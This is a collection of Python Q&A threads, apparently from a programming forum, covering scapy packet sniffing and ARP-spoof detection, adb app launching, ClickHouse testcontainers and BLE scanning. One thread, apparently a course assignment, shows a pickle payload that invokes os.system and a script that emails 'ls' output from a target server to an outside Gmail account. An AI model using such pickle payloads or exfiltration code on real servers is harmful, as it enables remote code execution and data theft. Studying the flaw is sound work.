Sniff network traffic with scapy and regular expressions? - python

I had my first glance on python's scapy package and wanted to test my first little script. In order to test the code below I sent myself an E-Mail containing this string "10000000000000". My expectation was that below minimal example (with my network card in monitoring mode and execution as su) would give an command line output for that E-Mail specifically but it doesn't. I am sure that this is caused by an misunderstanding of network traffic and tcp by myself -- could anyone elucidate?
The virtual environment I set-up is Python 3.6.8
(I have tested that I can sniff network traffic in general using the commented out line, only when I try to filter their content via regular expressions the result is not as I expected.)
import optparse
import scapy.all as sca
import re
from scapy import packet
from scapy.layers.dns import DNS
from scapy.layers.dot11 import Dot11Beacon, Dot11ProbeReq
from scapy.layers.inet import TCP
class SniffDataTraffic:
#staticmethod
def find_expr(pack: packet) -> str:
regex_dict = {'foo': r"1[0-9]{13}",'bar': r"2[1-5]{14}"}
raw_pack = pack.sprintf('%Raw.load%')
found = {iter: re.findall(regex_dict[iter], raw_pack) for iter in regex_dict.keys()}
for name, value in found.items():
if value:
return "[+] found {}: {}".format(name, value[0])
def main():
try:
print("[*] Starting sniffer")
#sca.sniff(iface="xxxxxmon", prn=lambda x: x.summary(), store=False)
sca.sniff(prn=SniffDataTraffic.find_expr, filter='tcp', iface="xxxxxmon", store=False)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()

Related

How can I launch an Android app on a device through Python?

I have consulted several topics on the subject, but I didn't see any related to launching an app on a device directly using a ppadb command.
I managed to do this code:
import ppadb
import subprocess
from ppadb.client import Client as AdbClient
# Create the connect functiun
def connect():
client = AdbClient(host='localhost', port=5037)
devices = client.devices()
for device in devices:
print (device.serial)
if len(devices) == 0:
print('no device connected')
quit()
phone = devices[0]
print (f'connected to {phone.serial}')
return phone, client
if __name__ == '__main__':
phone, client = connect()
import time
time.sleep(5)
# How to print each app on the emulator
list = phone.list_packages()
for truc in list:
print(truc)
# Launch the desired app through phone.shell using the package name
phone.shell(????????????????)
From there, I have access to each app package (com.package.name). I would like to launch it through a phone.shell() command but I can't access the correct syntax.
I can execute a tap or a keyevent and it's perfectly working, but I want to be sure my code won't be disturbed by any change in position.
From How to start an application using Android ADB tools, the shell command to launch an app is
am start -n com.package.name/com.package.name.ActivityName
Hence you would call
phone.shell("am start -n com.package.name/com.package.name.ActivityName")
A given package may have multiple activities. To find out what they are, you can use dumpsys package as follows:
def parse_activities(package, connection, retval):
out = ""
while True:
data = connection.read(1024)
if not data: break
out += data.decode('utf-8')
retval.clear()
retval += [l.split()[-1] for l in out.splitlines() if package in l and "Activity" in l]
connection.close()
activities = []
phone.shell("dumpsys package", handler=lambda c: parse_activities("com.package.name", c, activities))
print(activities)
Here is the correct and easiest answer:
phone.shell('monkey -p com.package.name 1')
This method will launch the app without needing to have acces to the ActivityName
Using AndroidViewClient/cluebra, you can launch the MAIN Activity of a package as follows:
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
from com.dtmilano.android.viewclient import ViewClient
ViewClient.connectToDeviceOrExit()[0].startActivity(package='com.example.package')
This connects to the device (waiting if necessary) and then invokes startActivity() just using the package name.
startActivity() can also receive a component which is used when you know the package and the activity.

Testing-containers and clickhouse-driver error:Unexpected EOF while reading bytes

I have these libraries installed:
testcontainers==2.5
clickhouse-driver==0.1.0
This code:
from testcontainers.core.generic import GenericContainer
from clickhouse_driver import Client
def test_docker_run_clickhouse():
ch_container = GenericContainer("yandex/clickhouse-server")
ch_container.with_bind_ports(9000, 9000)
with ch_container as ch:
client = Client(host='localhost')
print(client.execute("SHOW TABLES"))
if __name__ == '__main__':
test_docker_run_clickhouse()
I am trying to get a generic container with clickhouse DB running.
But it gives me: EOFError: Unexpected EOF while reading bytes.
I am using Python 3.5.2. How to fix this?
It takes some time to run a container. Add a time delay before executing operations.
import time
with ch_container as ch:
time.sleep(3)
client = Client(host='localhost')
print(client.execute("SHOW TABLES"))

GUID number of windows interface giving error: ValueError: Unknown network interface '{1619EEF1-4D71-4831-87AC-8E5DC3AA516A}'

Import scapy version 2.4.0. I am only using version 2.4.0 for my project
import scapy.all as scapy
import sys
by using IP address this function return related MAC address of the target
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
This function checks whether default gateway MAC address is equal to my PC's MAC address table. if not it says "[+] You are under attack!!
def process_sniffed_packet(packet):
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
count = 1
try:
real_mac = get_mac(packet[scapy.ARP].psrc)
response_mac = packet[scapy.ARP].hwsrc
if real_mac != response_mac:
count = count+1
print(str(count) + "[+] You are under attack!!")
sys.stdout.flush()
except IndexError:
pass
in Linux, we can use a value like 'etho' but In windows, I have to use GUID value to get the result. I am running this code in Windows Machine.
sniff('{1619EEF1-4D71-4831-87AC-8E5DC3AA516A}')
But this code return error
This is the Error that got raised
raise ValueError("Unknown network interface %r" % name)
ValueError: Unknown network interface '{1619EEF1-4D71-4831-87AC-
8E5DC3AA516A}'
On Windows, you need to provide a complete interface name / object, to be able to sniff on it.
First, have a look at what is available using IFACES.show() in a Scapy shell.
Then to get the interface, you can either use:
iface = IFACES.dev_from_name("...") (or dev_from_pcapname, dev_from_id... have a look at help(IFACES) to see what’s available)
iface = "the full name as printed above"
Then use it via sniff(iface=iface).
You could provide the pcap_name, but not the GUID: for instance, it would be something like \\Device\\NPF_{...} rather than just {...}.
Also, please use scapy 2.4.3rc1 (or at least 2.4.2) to be sure you’re up-to-date
I solved the scapy error ValueError: Unknown network interface on windows by installing npcap

Pickle Exploiting

I have an assignment to send a pickle file to a server which unpickles anything sent to it. My plan is to have it email me back the ls command printed out. I have this file:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...#gmail.com", "password")
server.sendmail("...#gmail.com", "...#gmail.com", output)
server.quit()
How can I get the server to run this? I am trying to send a file like:
cos
system
(S''
tR.
with the python script in the ' '.
I was thinking something like:
cos
system
(S'python\n import smptlib\n ...'
tR.
but it doesn't execute the commands. How can I make it execute the python?
I've tried on my own computer and the python sends the email fine.
Do whatever friendlyness you want to do in the __reduce__ method. Please don't be evil.
import pickle
class Friendly:
def __reduce__(self):
return (self.friendly, ('executing friendly code',))
#staticmethod
def friendly(x):
print(x)
pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))
->
$ python friendly.py
loading ...
executing friendly code

Finding Bluetooth low energy with python

Is it possible for this code to be modified to include Bluetooth Low Energy devices as well? https://code.google.com/p/pybluez/source/browse/trunk/examples/advanced/inquiry-with-rssi.py?r=1
I can find devices like my phone and other bluetooth 4.0 devices, but not any BLE. If this cannot be modified, is it possible to run the hcitool lescan and pull the data from hci dump within python? I can use the tools to see the devices I am looking for and it gives an RSSI in hcidump, which is what my end goal is. To get a MAC address and RSSI from the BLE device.
Thanks!
As I said in the comment, that library won't work with BLE.
Here's some example code to do a simple BLE scan:
import sys
import os
import struct
from ctypes import (CDLL, get_errno)
from ctypes.util import find_library
from socket import (
socket,
AF_BLUETOOTH,
SOCK_RAW,
BTPROTO_HCI,
SOL_HCI,
HCI_FILTER,
)
if not os.geteuid() == 0:
sys.exit("script only works as root")
btlib = find_library("bluetooth")
if not btlib:
raise Exception(
"Can't find required bluetooth libraries"
" (need to install bluez)"
)
bluez = CDLL(btlib, use_errno=True)
dev_id = bluez.hci_get_route(None)
sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI)
sock.bind((dev_id,))
err = bluez.hci_le_set_scan_parameters(sock.fileno(), 0, 0x10, 0x10, 0, 0, 1000);
if err < 0:
raise Exception("Set scan parameters failed")
# occurs when scanning is still enabled from previous call
# allows LE advertising events
hci_filter = struct.pack(
"<IQH",
0x00000010,
0x4000000000000000,
0
)
sock.setsockopt(SOL_HCI, HCI_FILTER, hci_filter)
err = bluez.hci_le_set_scan_enable(
sock.fileno(),
1, # 1 - turn on; 0 - turn off
0, # 0-filtering disabled, 1-filter out duplicates
1000 # timeout
)
if err < 0:
errnum = get_errno()
raise Exception("{} {}".format(
errno.errorcode[errnum],
os.strerror(errnum)
))
while True:
data = sock.recv(1024)
# print bluetooth address from LE Advert. packet
print(':'.join("{0:02x}".format(x) for x in data[12:6:-1]))
I had to piece all of that together by looking at the hcitool and gatttool source code that comes with Bluez. The code is completely dependent on libbluetooth-dev so you'll have to make sure you have that installed first.
A better way would be to use dbus to make calls to bluetoothd, but I haven't had a chance to research that yet. Also, the dbus interface is limited in what you can do with a BLE connection after you make one.
EDIT:
Martin Tramšak pointed out that in Python 2 you need to change the last line to print(':'.join("{0:02x}".format(ord(x)) for x in data[12:6:-1]))
You could also try pygattlib. It can be used to discover devices, and (currently) there is a basic support for reading/writing characteristics. No RSSI for now.
You could discover using the following snippet:
from gattlib import DiscoveryService
service = DiscoveryService("hci0")
devices = service.discover(2)
DiscoveryService accepts the name of the device, and the method discover accepts a timeout (in seconds) for waiting responses. devices is a dictionary, with BL address as keys, and names as values.
pygattlib is packaged for Debian (or Ubuntu), and also available as a pip package.

Categories